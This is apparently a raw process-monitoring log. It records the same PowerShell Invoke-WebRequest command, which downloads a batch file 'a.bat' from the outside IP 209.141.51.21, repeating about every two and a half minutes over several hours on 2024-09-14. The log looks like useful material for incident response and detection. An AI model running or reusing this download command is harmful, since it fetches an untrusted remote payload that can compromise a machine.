C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:16:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:24:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:26:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:29:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:31:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:34:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:36:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:39:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:41:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:44:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:46:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:49:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:54:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:01:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:04:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:06:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:09:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:11:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:14:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:16:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:19:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:21:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:24:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:26:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:29:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:31:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:34:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:37:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:39:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:44:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:47:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:49:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:52:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:54:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:57:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 05:59:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:02:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:04:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:07:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:09:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:12:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:14:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:17:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:19:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:22:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:24:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:27:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:29:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:32:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:34:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:37:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:39:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:42:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:44:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:47:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:49:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:52:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:54:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:57:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 06:59:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:02:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:04:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:07:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:17:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:22:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:24:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:27:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:29:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:32:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:34:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:37:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:39:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:42:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:44:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:47:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:49:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:52:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:55:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 07:57:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:00:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:02:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:05:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:07:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:10:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:12:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:15:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:17:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:20:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:22:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:25:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:27:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:30:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:32:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:35:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:37:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:40:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:42:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:45:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:47:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:50:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:52:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:55:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 08:57:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:00:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:02:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:05:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:07:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:10:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:12:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:15:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:17:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:20:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:22:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:25:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:27:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:30:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:32:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:35:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:37:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:40:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:42:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:45:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:47:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:50:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:52:57 NOTIFY: PROCESS 